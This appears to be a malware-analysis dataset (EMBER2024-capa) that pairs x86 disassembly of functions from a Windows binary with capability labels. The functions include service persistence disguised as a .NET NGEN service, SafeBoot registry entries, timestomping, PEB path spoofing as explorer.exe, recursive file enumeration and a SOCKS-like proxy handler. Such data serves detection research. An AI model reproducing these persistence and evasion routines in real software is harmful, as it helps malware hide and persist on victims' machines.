joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404809
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
mov esi, 0x42b090
push esi
lea eax, [esp + 0x18]
xor ebx, ebx
push str._s.lnk
push eax
mov byte [esp + 0x1b], bl
mov dword [esp + 0x20], ebx
call fcn.00402b4e
add esp, 0xc
test eax, eax
je 0x4048db
push ebx
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4048d1
push ebx
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4048c7
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4048c0
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push dword [esp + 0x28]
call fcn.0040475a
add esp, 0x1c
test al, al
jne 0x4048b4
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404879
jmp 0x4048b9
mov byte [esp + 0xf], 1
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [esp + 0x10]
call fcn.0040241e
pop ecx
push dword [esp + 0x14]
call fcn.0040241e
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404a29
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
mov ebx, 0x42b090
push ebx
lea eax, [ebp - 4]
push str._s.lnk
xor esi, esi
push eax
mov dword [ebp - 4], esi
call fcn.00402b4e
add esp, 0xc
cmp dword [ebp - 4], esi
je 0x404afb
push esi
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x404af2
push esi
call fcn.0040231c
mov edi, eax
pop ecx
cmp edi, esi
je 0x404ae9
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x404ae2
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x234]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str.shit
push esi
call fcn.0040475a
add esp, 0x1c
test al, al
je 0x404ac5
call fcn.0040618c
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404a96
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040241e
pop ecx
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404bfe
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.004062ea
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b4e
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404c9c
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a300]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404c8b
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00404b00
add esp, 0xc
test al, al
jne 0x404c82
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404c37
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x404d13
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x408930
call fcn.00406a00
mov esi, ecx
push esi
call fcn.00404809
pop ecx
test al, al
jne 0x404a23
xor edi, edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x407330
push 1
push edi
push 0x407340
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x404a23
push esi
lea ebx, [ebp - 0x238]
call fcn.004062ea
push edi
mov edi, 0xfffe
call fcn.0040231c
pop ecx
pop ecx
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x404a1a
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42b090
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b4e
add esp, 0x1c
test eax, eax
je 0x404a11
push 6
push esi
call fcn.004061d3
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x4049bd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x407350
push eax
call dword [ecx]
test eax, eax
js 0x4049f5
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4049f5
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x404a08
push dword [ebp - 0x20]
call fcn.0040241e
pop ecx
push dword [ebp - 0x28]
call fcn.0040241e
pop ecx
push dword [ebp - 0x2c]
call fcn.0040241e
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00406a3b
ret
xor eax, eax
cmp word [0x42b090], ax
jne 0x404d31
push 0x42b090
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404bfe
pop ecx
mov ecx, dword [esp + 4]
jmp 0x4048e6
Function at 0x404f93
Capabilities:
Read file via mapping
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
or edi, 0xffffffff
mov dword [ebp - 8], esi
cmp esi, edi
je 0x4051b5
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
push ebx
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x40519a
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x405191
mov esi, dword [eax + 0x3c]
add esi, eax
movzx eax, word [esi + 4]
cmp eax, 0x14c
je 0x4050d8
cmp eax, 0x8664
jne 0x405188
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x28], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x30], eax
mov eax, edi
mov dword [esi + 0x34], ebx
call fcn.004024f9
mov dword [esi + 0xb4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xb0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x94], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x90], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xec], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xe8], eax
jmp 0x405188
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x28], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x34], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xa0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x94], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x90], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xc4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xc0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x84], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0x80], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd4], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd0], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xdc], eax
mov eax, edi
call fcn.004024f9
mov dword [esi + 0xd8], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405503
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.00402e18
pop ecx
test al, al
je 0x405519
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4055a7
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x40559d
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x40558e
cmp dword [ebp - 0x1c], 4
je 0x4055ac
cmp dword [ebp - 0x1c], 2
je 0x4055ac
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40558e
xor esi, esi
push 1
call fcn.00402e18
pop ecx
test al, al
jne 0x4055ac
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x405571
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x405595

Function at 0x4055b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push edi
lea eax, [ebp - 0xc]
push eax
mov edi, 0x2011f
push edi
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetControlSafeBoot
push closesocket
call esi
test eax, eax
jne 0x405647
lea eax, [ebp - 8]
push eax
push edi
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x40563e
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405635
mov esi, str.Service
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x12
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push 1
movsd dword es:[edi], dword [esi]
push ebx
push dword [ebp - 4]
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40564c
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x405792
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, 0xffff
call fcn.004024f9
movzx edi, ax
call fcn.004065d3
test al, al
push edi
lea eax, [ebp - 0x240]
je 0x4056a5
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x4056b3
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x448]
push eax
call esi
add esp, 0x18
push 0x4083b4
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x448]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x405678
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x240]
push str.Minimal
push eax
call fcn.004055b0
lea eax, [ebp - 0x240]
push str.Network
push eax
call fcn.004055b0
add esp, 0x10
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x40582a
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
push 0xf003f
push ebx
push ebx
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x405982
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
push 3
push 0x30
push ebx
push eax
call esi
test eax, eax
jne 0x405978
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x405978
push edi
push dword [ebp - 8]
call fcn.00402384
mov edi, eax
pop ecx
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x405977
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push 0x30
push ebx
push dword [ebp - 0x18]
call esi
test eax, eax
je 0x40596e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x40596e
push 1
push dword [edi]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x40595c
lea ecx, [ebp - 0xc]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x40594e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40594e
push dword [ebp - 0xc]
call fcn.00402384
mov esi, eax
pop ecx
cmp esi, ebx
je 0x40594e
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x405947
push dword [ebp - 0x20]
push dword [ebp + 8]
push dword [esi + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x405947
push dword [edi]
mov byte [ebp - 1], 1
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call fcn.0040241e
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 1], bl
jne 0x40596e
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add edi, 0x2c
cmp eax, dword [ebp - 0x14]
jb 0x4058d1
push dword [ebp - 0x24]
call fcn.0040241e
pop ecx
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x405988
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 8], 0xffffffff
je 0x4059cf
test byte [ebp + 0x10], 2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x10
je 0x4059bb
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x4059c3
or eax, 0xffffffff
leave
ret
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x4059b2
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ax, word [ebp - 0x1e]
jmp 0x4059d5
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0xe], ax
mov al, byte [ebp + 0xc]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x10]
push 8
push eax
mov byte [ebp - 0x10], 0
call fcn.0040280d
sub eax, 8
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret
Function at 0x4059fa
Capabilities:
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xbc]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], 0x80
xor ebx, ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x405a30
movzx esi, word [ebp - 0xbc]
xor eax, eax
cmp si, 0x17
mov esi, dword [sym.imp.WS2_32.dll_recv]
sete al
push ebx
push 7
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call esi
cmp eax, 7
jne 0x405bc5
xor edi, edi
inc edi
jmp 0x405a61
cmp byte [ebp - 5], bl
je 0x405a70
push ebx
push edi
lea eax, [ebp - 5]
push eax
push dword [ebp + 8]
call esi
cmp eax, edi
je 0x405a5c
mov ecx, dword [ebp - 0x19]
mov eax, ecx
and eax, 0xff0000
mov edx, ecx
shr edx, 0x10
or eax, edx
mov edx, ecx
and edx, 0xff00
mov edi, ecx
shl edi, 0x10
or edx, edi
shr eax, 8
shl edx, 8
or eax, edx
dec eax
mov byte [ebp - 0xa], 0x5a
cmp eax, 0xfe
ja 0x405ae3
mov byte [ebp - 5], 0x5a
xor edi, edi
push ebx
push 1
lea eax, [ebp - 6]
push eax
push dword [ebp + 8]
call esi
cmp eax, 1
jne 0x405ad2
mov al, byte [ebp - 6]
mov byte [ebp + edi - 0x13c], al
cmp al, bl
je 0x405af7
inc edi
cmp edi, 0xff
jle 0x405aaa
mov byte [ebp - 0xa], 0x5b
cmp byte [ebp - 0xa], 0x5a
jne 0x405bc5
mov ecx, dword [ebp - 0x19]
movzx eax, byte [ebp - 0x1c]
dec eax
mov byte [ebp - 5], 1
je 0x405b49
mov byte [ebp - 0xa], 0x5b
jmp 0x405bb2
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x405b3d
mov esi, dword [ebp - 0x14]
cmp esi, ebx
je 0x405b30
cmp dword [esi + 4], 2
je 0x405b27
mov esi, dword [esi + 0x1c]
cmp esi, ebx
jne 0x405b18
jmp 0x405b30
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x19], eax
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp esi, ebx
jne 0x405b41
mov byte [ebp - 5], 0x5b
mov al, byte [ebp - 5]
mov byte [ebp - 0xa], al
jmp 0x405ad6
push 2
pop eax
mov word [ebp - 0x38], ax
mov ax, word [ebp - 0x1b]
mov word [ebp - 0x36], ax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x34], ecx
call fcn.00402866
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x405aee
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push 0x5a
push esi
call fcn.00405988
add esp, 0xc
cmp eax, 1
jne 0x405b98
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
call fcn.00402d2c
pop ecx
jmp 0x405ba7
cmp eax, 0xffffffff
jne 0x405ba3
mov byte [ebp - 0xa], 0x5b
jmp 0x405ba7
mov byte [ebp - 5], 0
call fcn.004028cc
cmp byte [ebp - 5], 0
je 0x405bc5
push dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
push dword [ebp - 0xa]
push 0xffffffffffffffff
call fcn.00405988
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405c8d
Capabilities:
Check for peb beingdebugged flag
Get common file path

Disassembly:
push ebx
push esi
push edi
mov edi, dword fs:[0x30]
push 0x104
mov esi, 0x42ae60
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.explorer.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
mov eax, dword [edi + 0x10]
mov ecx, esi
lea edx, [ecx + 2]
mov bx, word [ecx]
add ecx, 2
test bx, bx
jne 0x405cc2
sub ecx, edx
sar ecx, 1
add ecx, ecx
mov word [eax + 0x38], cx
add ecx, 2
mov word [eax + 0x3a], cx
push 0x18
mov dword [eax + 0x3c], esi
mov eax, dword [edi + 0x10]
pop ecx
push 0x1a
mov word [eax + 0x40], cx
pop ecx
mov word [eax + 0x42], cx
mov dword [eax + 0x44], 0x40842c
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
push 0
push 0x405c25
push 0
call dword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
pop edi
pop esi
pop ebx
ret

Function at 0x405ec2
Capabilities:
Create thread

Disassembly:
push ebx
xor ebx, ebx
cmp byte [0x40a43c], bl
je 0x405f1a
call fcn.004066a2
test al, al
je 0x405f1a
push esi
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
push ebx
push ebx
push 0x405d92
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
pop esi
pop ebx
ret
Function at 0x405f48
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov edi, 0xfffe
call fcn.0040231c
mov esi, eax
pop ecx
mov dword [ebp - 4], esi
cmp esi, ebx
je 0x4060ff
cmp dword [ebp + 0x10], ebx
je 0x4060f6
cmp dword [ebp + 8], ebx
je 0x4060f6
cmp dword [ebp + 0xc], ebx
je 0x4060f6
cmp dword [ebp + 0x18], ebx
je 0x4060f6
push dword [ebp + 8]
mov eax, 0x4086d8
push esi
call fcn.00405f1c
pop ecx
pop ecx
test al, al
je 0x4060f6
push 0x250
lea eax, [ebp - 0x258]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push esi
mov dword [ebp - 0x25c], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4060f6
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp word [ebp - 0x22c], 0x2e
jne 0x40601d
cmp word [ebp - 0x22a], 0
je 0x4060cc
cmp word [ebp - 0x22a], 0x2e
jne 0x40601d
cmp word [ebp - 0x228], 0
je 0x4060cc
mov eax, dword [ebp - 0x258]
and eax, 0x10
je 0x40602d
test bl, 2
jne 0x406036
test eax, eax
jne 0x40607e
test bl, 4
je 0x40607e
xor esi, esi
cmp dword [ebp + 0x10], esi
jbe 0x40607e
mov eax, dword [ebp + 0xc]
push dword [eax + esi*4]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x40605c
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x40603d
jmp 0x40607e
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x4060e6
cmp dword [ebp + 0x24], 0
je 0x40607e
push dword [ebp + 0x24]
call edi
test byte [ebp - 0x258], 0x10
je 0x4060cc
test bl, 1
je 0x4060cc
push dword [ebp + 8]
lea eax, [ebp - 0x22c]
push dword [ebp - 4]
call fcn.00405f1c
pop ecx
pop ecx
test al, al
je 0x4060cc
cmp dword [ebp + 0x20], 0
je 0x4060ae
push dword [ebp + 0x20]
call edi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.00405f48
add esp, 0x20
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405fed
jmp 0x4060ed
and dword [ebp - 0x25c], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret